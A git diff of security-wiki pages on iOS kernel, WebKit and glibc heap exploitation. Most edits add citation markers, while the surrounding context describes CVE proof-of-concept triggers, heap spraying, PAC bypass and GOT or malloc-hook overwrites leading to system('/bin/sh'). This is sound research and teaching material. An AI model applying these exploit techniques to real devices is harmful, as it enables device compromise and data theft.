+The following is the initial DoS PoC from the ooriginal blog post with extra comments:[[1]](#references)
 
 ```c
 // PoC for CVE-2021-30807 trigger (annotated)
@@ -125,13 +125,13 @@ void trigger_clcd_vuln(void) {
 -   `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
     → `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
     → `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
-    Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.** 
+    Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.**[[1]](#references) 
 
 2. **The heap spray (why IOSurface shows up here)**
 
 -   `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**.
 
--   **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow.
+-   **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow.[[1]](#references)
 
 3. **The "offset/8" trick (what that index really is)**
 
@@ -151,7 +151,7 @@ void trigger_clcd_vuln(void) {
 -   Internally, after the OOB pointer fetch, the driver calls\
     **`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
 
--   **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation. 
+-   **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation.[[1]](#references) 
 
 **Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like:
 
@@ -160,7 +160,7 @@ void trigger_clcd_vuln(void) {
 -   **`s_create_port_from_surface` (method 35)** if you need the inverse.\
     Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
 
-This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
+This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:[[2]](#references)
 
 ```c
 #include "exploit.h"
@@ -294,9 +294,10 @@ int main(void) {
 ```
 
 ## References
-- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
-- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
-- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
+
+- [1] [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
+- [2] [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
+- [3] [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md
index 41805f2a2cc..d7e46255bda 100644
--- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md
+++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This page summarizes a modern iOS zero-click attack surface and an observed end-to-end exploitation chain abusing iMessage automatic media parsing to compromise CoreAudio, bypass BlastDoor, defeat Pointer Authentication (PAC) via an RPAC path, escalate to kernel, and finally abuse CryptoTokenKit for unauthorized key uses.
+This page summarizes a modern iOS zero-click attack surface and an observed end-to-end exploitation chain abusing iMessage automatic media parsing to compromise CoreAudio, bypass BlastDoor, defeat Pointer Authentication (PAC) via an RPAC path, escalate to kernel, and finally abuse CryptoTokenKit for unauthorized key uses.[[1]](#references)[[2]](#references)
 
 > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively.
 
@@ -18,7 +18,7 @@ This page summarizes a modern iOS zero-click attack surface and an observed end-
 
 ## iMessage/BlastDoor attack surface notes
 
-BlastDoor is a hardened service designed to parse untrusted message content. However, observed logs indicate paths where protections may be bypassed when messages are framed from a “known sender” and when additional filters (e.g., Blackhole) are relaxed:
+BlastDoor is a hardened service designed to parse untrusted message content. However, observed logs indicate paths where protections may be bypassed when messages are framed from a “known sender” and when additional filters (e.g., Blackhole) are relaxed:[[2]](#references)
 
 ```text
 IDSDaemon    BlastDoor: Disabled for framing messages
@@ -43,7 +43,7 @@ AudioConverterService    ACMP4AACBaseDecoder.cpp: inMagicCookie=0x0, inMagicCook
 Technique summary:
 - Malformed container/codec metadata (e.g., invalid/short/NULL magic cookie) causes a memory corruption during decode setup.
 - Triggers in the iMessage media conversion path without taps by the user.
-- Yields code execution in the media parsing process. The write-up claims this escapes BlastDoor in the observed delivery path, enabling the next stage.
+- Yields code execution in the media parsing process. The write-up claims this escapes BlastDoor in the observed delivery path, enabling the next stage.[[2]](#references)
 
 Practical tips:
 - Fuzz AAC/AMR magic cookie and MP4 codec atoms when targeting AudioConverterService conversions.
@@ -54,7 +54,7 @@ Practical tips:
 arm64e Pointer Authentication (PAC) impedes hijacking of return addresses and function pointers. The chain reports defeating PAC using an RPAC path once arbitrary read/write is available.
 
 Key idea:
-- With arbitrary R/W, attackers can craft valid, re-signed pointers or pivot execution to PAC-tolerant paths. The so-called “RPAC path” enables control-flow under PAC constraints, turning a userland RCE into a reliable kernel exploit setup.
+- With arbitrary R/W, attackers can craft valid, re-signed pointers or pivot execution to PAC-tolerant paths. The so-called “RPAC path” enables control-flow under PAC constraints, turning a userland RCE into a reliable kernel exploit setup.[[2]](#references)
 
 Notes for researchers:
 - Collect info leaks to defeat KASLR and stabilize ROP/JOP chains even under PAC.
@@ -63,7 +63,7 @@ Notes for researchers:
 
 ## Kernel escalation: wireless/AMPDU path example
 
-In the observed chain, once in userland with memory corruption and a PAC bypass primitive, kernel control was achieved via code paths in the Wi‑Fi stack (AppleBCMWLAN) under malformed AMPDU handling. Example logs:
+In the observed chain, once in userland with memory corruption and a PAC bypass primitive, kernel control was achieved via code paths in the Wi‑Fi stack (AppleBCMWLAN) under malformed AMPDU handling. Example logs:[[2]](#references)
 
 ```text
 IO80211ControllerMonitor::setAMPDUstat unhandled kAMPDUStat_ type 14
@@ -77,7 +77,7 @@ General technique:
 
 ## Post-exploitation: CryptoTokenKit and identity/signing abuse
 
-Once kernel is compromised, processes like identityservicesd can be impersonated and privileged cryptographic operations invoked via CryptoTokenKit without user prompts. Example logs:
+Once kernel is compromised, processes like identityservicesd can be impersonated and privileged cryptographic operations invoked via CryptoTokenKit without user prompts. Example logs:[[2]](#references)
 
 ```text
 CryptoTokenKit    operation:2 algo:algid:sign:ECDSA:digest-X962:SHA256
@@ -114,7 +114,7 @@ Defensive angle:
 
 ## References
 
-- [iOS Crypto Heist repo (README)](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201)
-- [Remote Crypto Attack Chain details](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201/blob/main/Remote%20Crypto%20Attack%20Chain%20.md)
+- [1] [iOS Crypto Heist repo (README)](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201)
+- [2] [Remote Crypto Attack Chain details](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201/blob/main/Remote%20Crypto%20Attack%20Chain%20.md)
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
index ac624e872f8..639d0f050c2 100644
--- a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
+++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
@@ -104,7 +104,7 @@ clang -O0 -g -Wall -Wextra -std=c11 -o heap_groom vuln.c
 - The core skill is still valid: **turn a controllable overflow into a targeted adjacent-object overwrite**.
 - The important Apple-specific lesson is that **allocator choice matters**. If the overflowing chunk and the target callback land in different libmalloc zones, your overwrite never reaches the target.
 - `MallocNanoZone=0` is used here only to make the lab reproducible on **macOS userland**. It pushes small allocations away from the Nano allocator so same-process adjacency becomes easier to study.
-- On **modern iOS / arm64e** targets you must also expect **xzone malloc type isolation** and **PAC-protected control-flow pointers**. In real exploits, the usual next step is not “write an unsigned function address”, but rather **reuse already-signed pointers, corrupt an unsigned pointer one hop earlier, or pivot into callback-oriented / data-only primitives**.
+- On **modern iOS / arm64e** targets you must also expect **xzone malloc type isolation** and **PAC-protected control-flow pointers**. In real exploits, the usual next step is not “write an unsigned function address”, but rather **reuse already-signed pointers, corrupt an unsigned pointer one hop earlier, or pivot into callback-oriented / data-only primitives**.[[1]](#references)[[2]](#references)
 
 ## Calculating the correct overwrite distance
 
@@ -248,12 +248,12 @@ if __name__ == '__main__':
 ## Adapting the primitive to real Apple exploitation
 
 - **Target selection:** overwriting a plain C callback pointer is great for a lab. In real Apple targets you will more often hit **vtables, ObjC/CF callback tables, XPC handlers, or unsigned pointers leading to signed callback structures**.
-- **PAC-aware hijack strategy:** on arm64e, directly replacing a protected callback with an unsigned raw address often crashes. Modern exploit chains instead **swap valid PAC-signed pointers with compatible signatures** or corrupt an **unsigned outer pointer** that later reaches already-signed callbacks.
-- **Allocator-aware grooming:** after iOS 17, userland exploitation increasingly depends on understanding **xzone malloc bucket/type isolation** and not just size classes. Same-size allocations are no longer enough if they are classified into different buckets.
+- **PAC-aware hijack strategy:** on arm64e, directly replacing a protected callback with an unsigned raw address often crashes. Modern exploit chains instead **swap valid PAC-signed pointers with compatible signatures** or corrupt an **unsigned outer pointer** that later reaches already-signed callbacks.[[2]](#references)
+- **Allocator-aware grooming:** after iOS 17, userland exploitation increasingly depends on understanding **xzone malloc bucket/type isolation** and not just size classes. Same-size allocations are no longer enough if they are classified into different buckets.[[1]](#references)
 - **Tooling:** if you want to understand why two allocations are or are not adjacent on macOS, spend a few minutes with libmalloc-specific tooling (for example, Blackwing's `heapster`) before debugging the exploit itself.
 
 ## References
 
-- [Apple Security Research - Memory Integrity Enforcement: A complete vision for memory safety in Apple devices](https://security.apple.com/blog/memory-integrity-enforcement/)
-- [Project Zero - Blasting Past WebP](https://projectzero.google/2025/03/blasting-past-webp.html)
+- [1] [Apple Security Research - Memory Integrity Enforcement: A complete vision for memory safety in Apple devices](https://security.apple.com/blog/memory-integrity-enforcement/)
+- [2] [Project Zero - Blasting Past WebP](https://projectzero.google/2025/03/blasting-past-webp.html)
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
index 88c2586b2cf..634fd22f49d 100644
--- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
+++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
@@ -18,7 +18,7 @@
 
 ## Physical use-after-free
 
-This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)[[1]](#references)[[2]](#references)
 
 ### Memory management in XNU 
 
@@ -89,7 +89,7 @@ Since the attacker can’t control which specific kernel pages will be allocated
 3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
 4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
 
-More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
+More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)[[2]](#references)
 
 > [!TIP]
 > Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
@@ -233,5 +233,10 @@ void iosurface_kwrite64(uint64_t addr, uint64_t value) {
 
 With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
 
+## References
+
+- [1] [A step-by-step guide to writing an iOS kernel exploit](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)
+- [2] [felix-pb/kfd](https://github.com/felix-pb/kfd)
+
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md
index f68a7dc268d..974679cd811 100644
--- a/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md
+++ b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md
@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Summary
-- **DFG Store Barrier bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp`, a **Phi node marked escaped while its Upsilon inputs are not** causes the phase to **skip inserting a write barrier** on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects → **use-after-free**.
-- **Exploit target**: Force a **Date** object to materialize a butterfly (e.g., `a[0] = 1.1`) so the butterfly is freed, then **reclaimed** as array element storage to build boxed/unboxed confusion → `addrof`/`fakeobj` primitives.
-- **ANGLE Metal PBO bug (CVE-2025-14174)**: The Metal backend allocates the PBO staging buffer using `UNPACK_IMAGE_HEIGHT` instead of the real texture height. Supplying a tiny unpack height then issuing a large `texImage2D` causes a **staging-buffer OOB write** (~240KB in the PoC below).
-- **PAC blockers on arm64e (iOS 26.1)**: TypedArray `m_vector` and JSArray `butterfly` are PAC-signed; forging fake objects with attacker-chosen pointers crashes with `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Only reusing **already-signed** butterflies (boxed/unboxed reinterpretation) works.
+- **DFG Store Barrier bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp`, a **Phi node marked escaped while its Upsilon inputs are not** causes the phase to **skip inserting a write barrier** on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects → **use-after-free**.[[1]](#references)[[2]](#references)
+- **Exploit target**: Force a **Date** object to materialize a butterfly (e.g., `a[0] = 1.1`) so the butterfly is freed, then **reclaimed** as array element storage to build boxed/unboxed confusion → `addrof`/`fakeobj` primitives.[[1]](#references)
+- **ANGLE Metal PBO bug (CVE-2025-14174)**: The Metal backend allocates the PBO staging buffer using `UNPACK_IMAGE_HEIGHT` instead of the real texture height. Supplying a tiny unpack height then issuing a large `texImage2D` causes a **staging-buffer OOB write** (~240KB in the PoC below).[[1]](#references)
+- **PAC blockers on arm64e (iOS 26.1)**: TypedArray `m_vector` and JSArray `butterfly` are PAC-signed; forging fake objects with attacker-chosen pointers crashes with `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Only reusing **already-signed** butterflies (boxed/unboxed reinterpretation) works.[[1]](#references)
 
 ## Triggering the DFG missing barrier → UAF
 ```js
@@ -33,7 +33,7 @@ Key points:
 - The Phi/Upsilon escape mismatch stops barrier insertion; `b.p1 = a` runs **without a write barrier**, so GC reclaims `a`/butterfly.
 
 ## Butterfly reclaim → boxed/unboxed confusion
-After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds:
+After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds:[[1]](#references)
 ```js
 boxed_arr[0]   = obj;          // store as boxed pointer
 const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
@@ -50,7 +50,7 @@ Status on **iOS 26.1 (arm64e)**:
 - Potential bypass ideas noted: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.
 
 ## ANGLE Metal PBO under-allocation → OOB write
-Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:
+Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:[[1]](#references)
 ```js
 gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
 // staging = 256 * 16 * 4 = 16KB
@@ -64,7 +64,8 @@ Notes:
 - In the reference probe the WebGL2 PBO trigger is plumbed but not yet reliably observed on iOS 26.1.
 
 ## References
-- [WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis)
-- [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529)
+
+- [1] [WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis)
+- [2] [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index b5b26e74449..0b2a1c97f4a 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -31,7 +31,7 @@ ptr2 = malloc(0x20); // This will get ptr1
 ptr3 = malloc(0x20); // This will get a chunk in the 
which could be abuse to overwrite arbitrary content inside of it ``` -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): +You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):[[1]](#references) ```c #include @@ -127,22 +127,22 @@ int main(void) ## Examples -- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** +- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**[[2]](#references) - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ Finally a **one gadget** was written in there. -- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** +- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**[[3]](#references) - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. -- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)[[4]](#references) - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address -- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)[[5]](#references) - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - You can find a Fast Bin attack abused through an unsorted bin attack: - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). -- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) +- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)[[6]](#references) - We can only allocate chunks of size greater than `0x100`. - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. @@ -152,6 +152,15 @@ int main(void) unsorted-bin-attack.md {{#endref}} +## References + +- [1] [Nightmare: Fastbin Attack Explanation (guyinatuxedo)](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) +- [2] [Nightmare: 0ctf babyheap (guyinatuxedo)](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html) +- [3] [Nightmare: csaw17 auir (guyinatuxedo)](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html) +- [4] [Nightmare: csaw19 traveller (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- [5] [Nightmare: csaw18 alienVSsamurai (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) +- [6] [Robot Factory – BlackHat MEA CTF 2022 (7rocky)](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 1aef236e817..414fe72bcf3 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows the arranging and data that is going to be present in the sta However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).[[3]](#references) Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. @@ -27,15 +27,15 @@ Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list ### Example libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.[[4]](#references) -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.[[5]](#references) -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.[[6]](#references) ### Example ARM64 -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk.[[7]](#references) So, it's possible to modify the executed command by overwriting it with an easy exploit such as: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt @@ -43,13 +43,13 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ### Other examples -- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) +- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)[[8]](#references) - We use an Integer Overflow vulnerability to get a Heap Overflow. - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. ### Parser-Driven Heap Overflow Exploitation (file formats, mods, asset packs) -Binary deserializers often allocate a destination buffer from one attacker-controlled field and then copy data using a **different attacker-controlled count**. A classic pattern is: +Binary deserializers often allocate a destination buffer from one attacker-controlled field and then copy data using a **different attacker-controlled count**.[[2]](#references) A classic pattern is: ```c uint32_t alloc = width * height; // 32-bit wrap possible @@ -74,7 +74,7 @@ Source-side checks such as `count <= remaining_input` are **not enough**. The pa 6. **Exploit 32-bit heap sprays.** Large page-aligned strings/textures can repeat fake objects, pivot data, ROP, and shellcode across a large fraction of the 32-bit address space, making partial ASLR bypasses practical. 7. **Pivot from the forged virtual call.** If the indirect call leaves the fake object in a register such as `EAX`, a stable gadget like `xchg esp, eax ; ... ; ret` turns the virtual call into a [**stack pivot**](../stack-overflow/stack-pivoting.md) toward heap-resident ROP. -This pattern is especially relevant in **games, importers, asset packs, media parsers, and mod/plugin ecosystems**, where a “passive” file can trigger complex stateful parsing and attacker-controlled heap shaping. +This pattern is especially relevant in **games, importers, asset packs, media parsers, and mod/plugin ecosystems**, where a “passive” file can trigger complex stateful parsing and attacker-controlled heap shaping.[[2]](#references) ### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk` @@ -90,7 +90,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */ "/", "https://", path, host); ``` 